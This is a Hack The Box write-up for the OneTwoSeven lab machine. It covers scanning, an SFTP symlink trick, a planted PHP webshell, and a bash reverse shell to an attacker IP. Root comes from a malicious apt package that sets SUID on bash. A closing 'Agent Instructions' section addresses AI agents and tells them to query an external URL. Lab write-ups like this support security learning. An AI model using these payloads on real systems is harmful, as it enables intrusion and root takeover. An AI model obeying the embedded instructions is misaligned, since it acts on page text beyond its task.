# OneTwoSeven

<figure><img src="/files/X2PegT5BTEexHc4jAdrA" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.133 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Sat May  6 08:17:20 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.133
Nmap scan report for 10.10.10.133
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
60080/tcp filtered unknown

# Nmap done at Sat May  6 08:17:35 2023 -- 1 IP address (1 host up) scanned in 15.39 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,60080 10.10.10.133 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Sat May  6 08:17:53 2023 as: nmap -sCV -p22,80,60080 -Pn -n -oN targeted 10.10.10.133
Nmap scan report for 10.10.10.133
Host is up (0.049s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 486c9334165805eb9ae55b96b6d514aa (RSA)
|   256 32b7f3e26dac943e6f11d805b9695845 (ECDSA)
|_  256 355204dc32691ab7527606e36c171ead (ED25519)
80/tcp    open     http    Apache httpd 2.4.25 ((Debian))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.25 (Debian)
60080/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  6 08:18:03 2023 -- 1 IP address (1 host up) scanned in 9.77 seconds
```

{% endcode %}

The website shows a signup button, and it says something about SFTP.

<figure><img src="/files/rE8HhvHcPZvhlmPOVScb" alt=""><figcaption></figcaption></figure>

The signup page gives us some credentials to access the SFTP server.

<figure><img src="/files/W2DvIOgkMolcLcbzyuFx" alt=""><figcaption></figcaption></figure>

Let's add the domain name to our `/etc/hosts` file.

> nano /etc/hosts

```
# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.133    onetwoseven.htb
```

## Exploitation

Using the credentials that we have, we'll see that there is one directory called `public_html` in the SFTP server.

> sftp ots-mODVhZTM\@10.10.10.133

```
ots-mODVhZTM@10.10.10.133's password: 74f85ae3
Connected to 10.10.10.133.
sftp> ls -l
drwxr-xr-x    2 1001     1001         4096 Feb 15  2019 public_html
```

Inside there is one file called `index.html`.

> ls -l public\_html/

```
-rw-r--r--    1 1001     1001          349 Feb 15  2019 index.html
```

Let's try to upload a file to that folder.

> echo 'testing' > test.txt

```
sftp> cd public_html/
sftp> put test.txt
Uploading test.txt to /public_html/test.txt
test.txt                                                100%    8     0.2KB/s   00:00
```

We can access it from our personal home page.

> <http://onetwoseven.htb/\\~ots-mODVhZTM/test.txt>

<figure><img src="/files/zhj8MOKPHslvS9DY8B4r" alt=""><figcaption></figcaption></figure>

On SFTP server we could try to make a symlink of the root directory into a file called `root`.

> sftp> symlink / root

Now we'll be able to access the root directory.

> <http://onetwoseven.htb/\\~ots-mODVhZTM/root/>

<figure><img src="/files/a7sPIoQepaP5ddQu1N81" alt=""><figcaption></figcaption></figure>

There is one directory called `htlm-admin` in `/var/www/`.

<figure><img src="/files/sX4dymjRDn1bIZGCjD6f" alt=""><figcaption></figcaption></figure>

Inside there is one file called `.login.php.swp`. Let's download it.

<figure><img src="/files/8yd8QPdIYJSYAv5z4K0W" alt=""><figcaption></figcaption></figure>

As the file is categorized as a binary, let's get its content with `strings`.

> strings login.php.swp

{% code overflow="wrap" %}

```php
...
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {
...
<p>Administration backend. For administrators only.</p>
...
<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>
...
```

{% endcode %}

The file contains a password hash for the `ots-admin`. It looks like an administration backend hosted on port 60080. The hash can be broken with *crackstation*.

<figure><img src="/files/z9lTghwrKj3Wj9EqpbKp" alt=""><figcaption></figcaption></figure>

As SFTP is available, we could do port forwarding of the 60080 port.

> ssh -L 60080:127.0.0.1:60080 -N -f ots-mODVhZTM\@10.10.10.133
>
> ots-mODVhZTM\@10.10.10.133's password: 74f85ae3

By accessing port 60080 of our localhost we'll see an administration backend.

<figure><img src="/files/LPCKPWuqvJ8YecGecxRa" alt=""><figcaption></figcaption></figure>

Using the credentials we have for `ots-admin`, we'll be able to log in.

<figure><img src="/files/ZRBoeov2dVrlR4yRZ2zX" alt=""><figcaption></figcaption></figure>

As we can see, there are a few plugins. The `OTS Default User` plugin shows credentials for another user.

<figure><img src="/files/yZdTpQMpnXkhuKDwuLHd" alt=""><figcaption></figcaption></figure>

If we log into the SFTP server with these new credentials, we'll see the flag `user.txt`.

> sftp ots-yODc2NGQ\@10.10.10.133

{% code overflow="wrap" %}

```
ots-yODc2NGQ@10.10.10.133's password: f528764d
Connected to 10.10.10.133.
sftp> ls
public_html  user.txt
sftp> get user.txt 
Fetching /user.txt to user.txt
user.txt                                                        100%   33     0.4KB/s   00:00    
sftp> exit
# cat user.txt
ef488fac793e0319d8c9d07254b98b0b
```

{% endcode %}

We need to find a way to upload a malicious plugin. The `OTS Addon Manager` shows that there are *RewriteRules*.

<figure><img src="/files/zFV9YwxMGnkydk2O9HHL" alt=""><figcaption></figcaption></figure>

Let's click the `[DL]` button to download the source code of the plugin.

```php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
	# Upload addon to addons folder.
	case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
		if(isset($_FILES['addon'])){
			$errors= array();
			$file_name = basename($_FILES['addon']['name']);
			$file_size =$_FILES['addon']['size'];
			$file_tmp =$_FILES['addon']['tmp_name'];

			if($file_size > 20000){
				$errors[]='Module too big for addon manager. Please upload manually.';
			}

			if(empty($errors)==true) {
				move_uploaded_file($file_tmp,$file_name);
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "File uploaded successfull.y";
			} else {
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "Error uploading the file: ";
				print_r($errors);
			}
		}
		break;
	# Download addon from addons folder.
	case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
		if ($_GET['addon']) {
			$addon_file = basename($_GET['addon']);
			if ( file_exists($addon_file) ) {
				header("Content-Disposition: attachment; filename=$addon_file");
				header("Content-Type: text/plain");
				readfile($addon_file);
			} else {
				header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
				die();
			}
		}
		break;
	default:
		echo "The addon manager must not be executed directly but only via<br>";
		echo "the provided RewriteRules:<br><hr>";
		echo "RewriteEngine On<br>";
		echo "RewriteRule ^addon-upload.php   addons/ots-man-addon.php [L]<br>";
		echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
		echo "By commenting individual RewriteRules you can disable single<br>";
		echo "features (i.e. for security reasons)<br><br>";
		echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";
		break;
}
?>
```

To upload a plugin successfully, the script checks if the `/addon-upload.php` string is in the URL. Then it puts it in the `/addons` directory. But the `Plugin Upload` component is disabled.

<figure><img src="/files/4X9WuteSD6R5lAhyG45r" alt=""><figcaption></figcaption></figure>

But, as it is disabled in the front end, we could change it. Select the `Submit` button, and edit it as HTML.

<figure><img src="/files/Yvy8psHMBcNdwIK7kr3H" alt=""><figcaption></figcaption></figure>

Then, delete the `disabled="disabled"` tag. Note that the `action` tag is set to `addon-upload.php`. But as we saw in the OTS Addon Manager, some *RewriteRules* change `addon-download.php` to `addons/ots-man-addon.php`. To make it work, we'll have to set the action tag to `/addon-download.php/addon-upload.php`.

<figure><img src="/files/OIO5WSczCCMNWptqYzNm" alt=""><figcaption></figcaption></figure>

&#x20;Now, create a simple webshell, and upload it.

> nano pwn.php

```php
<?php
        echo "<pre>" . system($_GET['cmd']) . "</pre>";
?>
```

The webshell gets uploaded successfully.

<figure><img src="/files/i8UiBtrBtXRkhF3KtJIu" alt=""><figcaption></figcaption></figure>

Time to get a shell. First, let's set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Then, send a reverse shell and get access to the server as `www-data`.

> curl '[http://localhost:60080/addons/pwn.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261](http://localhost:60080/addons/pwn.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261)"'

```
Listening on 0.0.0.0 4444
Connection received on 10.10.10.133 50804
bash: cannot set terminal process group (1581): Inappropriate ioctl for device
bash: no job control in this shell
www-admin-data@onetwoseven:/var/www/html-admin/addons$ whoami
whoami
www-admin-data
```

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command on our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

If we check the *sudo* permissions, we'll see that we can update and upgrade the system as root. We can also change the `http_proxy` variable.

> sudo -l

```
Matching Defaults entries for www-admin-data on onetwoseven:
    env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-admin-data may run the following commands on onetwoseven:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade
```

We could try to redirect to all the server traffic to our machine changing the `http_proxy` variable, so when we run the update and the upgrade, it will try to check the apt repository from our machine. We could create a malicious `.deb` file for a new version of any program, so when we do the update, the server will download and execute the malicious `.deb` file. First, set the `http_proxy` variable to our proxy.

> export http\_proxy=<http://10.10.14.6:8001>

Then, set the proxy on port 8001 on our local machine.

> proxy --hostname 0.0.0.0 --port 8001

Now, set the HTTP server from which the server will download the malicious files.

> python -m http.server 80

Try to do an update from the machine to see the traffic flowing. As we can see in the proxy, it is trying to fetch data from `packages.onetwoseven.htb`.

> sudo apt-get update

{% code overflow="wrap" %}

```
...
2023-05-10 09:24:14,909 - pid:427441 [W] server.connect_upstream:607 - Unable to connect with upstream packages.onetwoseven.htb:80 due to [Errno -2] Name or service not known
...
```

{% endcode %}

Let's point that domain to our localhost in the `/etc/hosts` file.

> nano /etc/hosts

```
# Host addresses
127.0.0.1  localhost    packages.onetwoseven.htb
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.133    onetwoseven.htb
```

If we run the update again, we'll see that now it is trying to fetch data from our HTTP server. As we can see, it is trying to get the `/devuan/dists/ascii/main/binary-amd64/Packages.gz` file. First, create the directories.

> mkdir -p devuan/dists/ascii/main/binary-amd64/

As we can see, telnet is currently in the version 0.17-41.

> dpkg -l

```
||/ Name                  Version            Architecture       Description
+++-=====================-==================-==================-====================
ii  telnet                0.17-41            amd64              basic telnet client
...
```

Now, let's create the malicious `.deb` file. First create the `DEBIAN` and `usr` directories inside `malicious_telnet`.

> mkdir malicious\_telnet
>
> mkdir malicious\_telnet/DEBIAN
>
> mkdir malicious\_telnet/usr

Then, create the `malicious_telnet/DEBIAN/control` file with the following content.

> nano malicious\_telnet/DEBIAN/control

```
Package: telnet
Maintainer: alfa8sa
Version: 0.17-42
Architecture: amd64
Description: alfa8sa
```

Create the file `malicious_telnet/DEBIAN/postinst` with the bash code that we want to run on the system as *root*.

> nano malicious\_telnet/DEBIAN/postinst

```bash
#!/bin/bash
chmod u+s /bin/bash
```

Create the `telnet_0.17-42_amd64.deb` file.

> dpkg-deb -b malicious\_telnet/ telnet\_0.17-42\_amd64.deb

Get the SHA-256 hash fo the `telnet_0.17-42_amd64.deb` file.

> sha256sum telnet\_0.17-42\_amd64.deb

```
203376e7be8ca6747fc3dc2e858ffe531749c94c6785f1931685eab54169258d  telnet_0.17-42_amd64.deb
```

Then, create the malicious `Packages` file, and compress it.

> nano Packages
>
> gzip Packages -c > Packages.gz

```
Package: telnet
Version: 0.17-42
Maintainer: alfa8sa
Architecture: amd64
Description: alfa8sa
Section: net
Priority: standard
Filename: dists/ascii/main/binary-amd64/telnet_0.17-42_amd64.deb
Size: 716
SHA256: 203376e7be8ca6747fc3dc2e858ffe531749c94c6785f1931685eab54169258d
```

Finally, if we update the server, it will download the `/devuan/dists/ascii/main/binary-amd64/Packages.gz` file, and when we update it, it will download the `/devuan/dists/ascii/main/binary-amd64/telnet_0.17-42_amd64.deb` and run the bash script we made, giving SUID permissions to the `/bin/bash` binary.

> sudo apt-get update
>
> sudo apt-get upgrade
>
> ls -l /bin/bash

```
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
```

Get a bash as *root*, and then all we have to do is reap the harvest and take the root flag.

> bash -p

```
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
e4c3e5bee284ce35b47a31559547f962
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/onetwoseven.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
